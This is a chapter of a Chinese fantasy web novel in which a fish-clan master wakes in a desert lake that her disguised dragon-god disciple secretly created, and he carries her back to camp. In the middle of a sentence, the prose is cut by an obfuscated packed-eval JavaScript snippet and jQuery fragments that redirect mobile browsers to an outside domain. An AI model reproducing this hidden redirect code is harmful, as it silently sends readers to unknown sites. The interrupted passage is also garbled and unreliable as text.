17. 第 17 章
作品:《爱徒今天怎么还没死》 白骊珠做了一个梦。
梦中,她舒展着长长的尾鳍,在长月海中自由徜徉。海底生长着色彩斑斓的珊瑚,嫩绿色的海草摇曳滋长,汇聚成光怪陆离的光影。
海水清澈无比,月色胧明,就算隔了数百尺的海水,也能直洒海底。月光照在她的金边银鳞上,散射出美丽的光泽,水母们围着她跳舞,伙伴们游过来,围绕着白鱼一族尊贵的小公主快乐地欢唱。
忽地,海底深处传来一阵巨响,随即海水的温度也急剧升高,同伴们都吓坏了,纷纷离开深海,往家的方向奔逃。
白骊珠也向家的方向游去,半路上看到一只长着金鳞的大白鱼,她舞动着双鳍游了过去,“阿娘——”
大白鱼游到她身前,化作一位年轻和蔼的妇人,道:“骊珠,化作人形,我带你到岸上去。”
白骊珠讶异道:“阿娘,发生了什么,我们白鱼一族一直生活在深海之中,为什么要去岸上?”
母亲神色忧惧:“刚刚长月海发生了一场地震,海底的地壳被推高,出现了塌陷,现在,海水正在飞速往塌陷处下陷,只怕用不了七天,长月海就会彻底干涸,化作戈壁滩。父亲和族人们正在想办法堵住海底下面的缺口,挽救长月海,这段时间阿娘没时间照顾你。我已经用你姑姑留下的传讯符给她传信,她会尽快来接你,你先和姑姑一起在濯水居生活一段时间,等长月海一切稳定了阿娘再去接你回来。”
彼时,白骊珠已经十五六岁,按照白鱼一族的年龄来说,刚刚进入少女期。她听出了母亲话中的悲观和惶然,追问道:“母亲,如果无法堵住缺口,我们白鱼一族会遇到灭族的灾祸,是不是?”
母亲轻柔地摸了摸她的头:“我的骊珠儿修为不错,能化形在陆地上生活,万一阿爹阿娘将来不能去接你,你就在陆地上跟着姑姑好好生活。”
白骊珠流泪道:“不,不,阿爹和阿娘也都能化形在陆地上生活,既然长月海面临干涸,为什么我们不迁移到其他地方生活?”
母亲摇头道:“不成的,这有这片海洋才是龙神大人赐予我们的领地,才是我们栖息繁衍的家园。不是所有的族人都能适应岸上的生活,大部分的族民修为不够,是无法离开长月海的,他们只能和这片海共存亡。阿爹和阿娘是白鱼一族的族长,更不能抛弃族人们独自求生。而且……而且长月海也不一定就会干涸,你的父亲已经派了族人去龙神居住的北海向溯夜大人求救,溯夜大人是水族之主,有移山造海之能,如果溯夜大人能够及时赶到,一定能挽救长月海,挽救白鱼一族。”
白骊珠第一次听到龙神大人的名字,喃喃道:“龙神溯夜?”
母亲纠正道:“龙神溯夜对于白鱼一族有再造之恩,不可直呼其名,要尊称他为溯夜大人。”
母女两人游到了岸上,母亲将白骊珠安置在青石滩上,拿出一袋她最爱吃的海桑果,说道:“你就在这里别动,等着姑姑来接你。”
海水翻腾,母女两上岸的一会功夫,水位又下降了不少,母亲尽管舍不得自己的女儿,还是狠下心返回了海底。
那天的海桑果特别甜,白骊珠忍不住吃了许多,她等了很久,也没有等到姑姑,就在青石滩上睡着了。
她不记得自己睡了多久,只知道醒来之后,曾经宽广的长月海完全消失了,海底完全干裂,那些斑斓的珊瑚和美丽的海藻已经完全枯死。
姑姑并没有来,她一个人在已经干枯的海床上奔跑,寻找着爹娘和自己的族人,最终一无所获。长月海消失了,曾经繁荣的白鱼一族也一同消失了,就像从没有出现过。
只除了她。
到晚上的时候,她觉得干渴非常,才意识到自己几天没喝过水了。她在已经干涸的海床上走了一天一夜,连一滴水都没有找到。她嘴唇干枯,皮肤皲裂,也许会渴死在这片涸泽里。
她想,如果这个时候有人给她一汪水泽,她愿意用一切去交换。
这么想着,她忽然发现身下干枯的污泥突然涌出清澈的地泉,甘甜的水源将她身下的海洼灌注成一座小小湖泊,也把她的身体托起。她重新化作一尾白鱼,在湖水中来去自如。
白骊珠茫茫然睁开眼睛,感到全身清凉湿润,嘟哝一声:“果然是做梦啊,梦里什么都有。”
她想了想,在美梦中死去,总好过在炎热酷烈的沙漠中干渴而死,她翻了个身,打算重新睡去。
这一翻身,身体下面似乎并不是实地,还伴着哗啦啦的水流声。她心知不对,再次睁开眼睛,发现眼前并非沙漠,梦中的场景成真,她确实身处水底,身体已然化作一尾巨大的白鱼,在清澈如碧波的水中悬浮着。
这是怎么回事,她记得她昏迷之前明明是在沙漠之中,还差点渴死,怎么醒来会是在甘甜的湖水中。
还有,她的徒弟十五夜呢?
想到十五夜,她奋力摆动尾鳍,向湖面上游去。
白骊珠在湖底安睡的时候,溯夜坐着大湖岸边,神情复杂地看着水面之下那尾白色大鱼。
先前,他苏醒之时,发现他和白骊珠竟紧紧贴在一起。准确地说,是他抱着白骊珠染血的手臂,鲜血从她的臂上的伤口流入他的唇舌中,女子娇嫩的腕上全是被他咬破的齿痕。
其中最深的那一处伤疤,是她用匕首所划破。
显然,在他昏迷之时,是她给他喂食了自己的鲜血,才保住了他的性命。而白骊珠因为失血过多,妖力虚弱,下半身已化作鱼身,奄奄一息。只怕再差一步,就会因为脱水而死。
更让他意外的是他身体的状况,喝过白骊珠的鲜血之后,他身体的状况倒是比从前好了很多。
身魂不和带来的眩晕感也减弱了许多,就连妖能也恢复到龙神本尊三分之一的水准,甚至他能感觉到,只要继续食用她的鲜血,他的魂魄就能慢慢与现在的身体融合,就连彻底恢复过去的能为也不是不可能。
虽想不通为什么,但他能感知到,他现在的身体似乎和白骊珠有着某种牵连。
他历无妄劫死而复生这件事,说不定也与白骊珠有关。至少,也和白骊珠这个徒弟“十五夜”有关。
如果是这样,他倒是不急着回雪顶天池了——也许只有留在白骊珠身边才能知道事情的真相。
当然,当务之急,是尽快治疗白骊珠,让她尽快苏醒。可惜,沙漠里寸草不生,他手边也并没有合适的药物。
他想了想,白鱼一族的生活离不开清澈的水源。白骊珠的昏迷一半是因为失血,一半是因为脱水,只要让她回到水中,她的身体就会慢慢恢复。
溯夜催动自身妖能,庞大的妖力深入脚下的土地。很快,脚下的流沙飞快下陷,流沙下方涌出清澈地泉,在这方沙漠中凭空凿出一座大湖。湖水将两人淹没,白骊珠的身体也彻底化为妖形——一尾白鳞金尾的大鱼。
龙神大人虽然有移山造海之能,可眼下这具身体也无法发挥出全部的实力,为造出这么一方小湖,他的妖能几乎耗尽了,只好靠在湖岸边暂时调息。
白骊珠跃出水面,重新化为白衣上襟、金色裙裾,腰悬金铃的曼妙女郎。
她看到十五夜好生生地坐在湖边,舒了一口气,关切道:“阿夜,你身体怎么样?我们怎么在这里,还有这片大湖是怎么出现的?”
十五夜当然不会说这片湖是自己造的,道:“徒儿醒来的时候见到师父昏迷不醒,便背着师父往外走,和纪师弟他们会合,没想到沙漠深处还有这样的大湖。我想师父昏迷是因为脱水而致,所以便将师父放入水中休息。”
“这大湖是沙漠里本来就有的吗?”白骊珠轻轻蹙眉:“奇怪,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856158|158899||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我昨天在附近绕了一大圈,怎么没有发现?”
“沙漠这么大,师父之前遗漏此处也说不定。”
十五夜的眼神流露出恰到好处的感激,转移了话题:“多谢师父你用自己的鲜血救我,如果不是师父,我现在说不定已经死了……”
白骊珠没有再纠结大湖的事,她换上轻松的语气:“你既然是我的徒儿,师父当然要对你负责。”
她看了看他的肋间,心中还是有点遗憾,明明那些珍贵的灵骨只差一步就到手了。
转念一想,现在的结果也还不错。经此一遭,十五夜肯定会对她更加死心塌。他实力强大,就连羽族郡主也不是他的对手。只要能顺利登上雪顶天池,她得到龙神遗骨的可能性还是不小的。
虹鳞虽然值钱,但她现在已经从冤大头纪长怀身上搞到不少钱了,当下还是龙神之心更有吸引力。
她看了看天色,已经是下午。如果今天不能走出沙漠,只怕要在沙漠里再耽搁一天。
白骊珠道:“徒儿,你身体恢复了吗?”
“我已经没事了。”十五夜点头,试探道:“不知为何,喝过师父的血之后,我的身体好多了,师父可知个中原因?”
白骊珠微微一惊,她的血还有治病的功效?她含糊道:“这大概是因为我们是同族,血脉本就同出一源的关系。既然没事,我们就先离开这里,和纪长怀他们会合。在这里耽搁了一天,耽误了不少路程,得赶紧赶路上山才行。”
她在前方带路,十五夜跟着她向前走。可是走了一段路,他发现不对劲了,她简直是无头苍蝇一般乱转,带着他在沙漠中绕圈。
十五夜停下来,饶有兴致地看着她:“师父,您知道回去的路吗?”
白骊珠身为师父,怎么能在徒弟面前失了面子。她怎么好意思说她昨日一晚都没有找到出路,硬着头皮道:“当然知道了,你跟着我走就是了。”
十五夜欲言又止,这青崖本是他的地盘,山川地形他再熟悉不过。山河图只是改变了一小片区域的地貌,不可能改变青崖整体的地形。她走的方向和昨日休息的营地根本就是南辕北辙。
他眼下心情不错,觉得既然是做徒弟的,不能当面拂了师父的面子,不然他在白骊珠心中就愈加不如纪长怀了。
“师父今日为徒弟失了不少鲜血,徒儿也该尽一尽身为徒弟的本分。不如师父给徒儿指一个方向,徒儿背着师父回去。”
白骊珠脸上绽放灿烂笑容:“想不到徒儿你还有这等孝心,为师十分感动。”
她心想,看来纪长怀这个徒弟也没白收,如今十五夜跟着学会孝敬师父了。
啧啧,有两个孝顺的徒弟,很快就可以躺平等徒儿养老了。
十五夜:“为师父分忧,是徒儿份所当为之事。”
十五夜微微躬下身子,白骊珠爬上他的后背,她指了指前方:“阿夜,你顺着路往前走就是,如果太阳落山之前还没有见到纪长怀,我们就再回湖边休息,明天再换一个方向再试……多试几次,总是能找到大路的……”
十五夜一阵无语。她这样找路,能走出去才是怪事!
当然,作为一个合格的徒弟,是会去质疑自己的师父的。就算心中质疑,也应该给师父留足面子。
他恭顺地答道:“好的。”
也许是昨夜没休息好,也许是徒弟的宽阔的后背趴着过于舒服,白骊珠没一会儿就睡着了。等她醒来之时,天色已暮,纪长怀搭建的营地就在不远的前方。
她开心地拍手:“我就说嘛,我是知道路的,不可能运气每次都这么差,你看这不是到了吗?”
“是是,师父英明。”在她看不到的角度,十五夜嘴角微微弯起,从喉骨深处溢出一声低笑。他背着白骊珠进入营地,将她放了下来。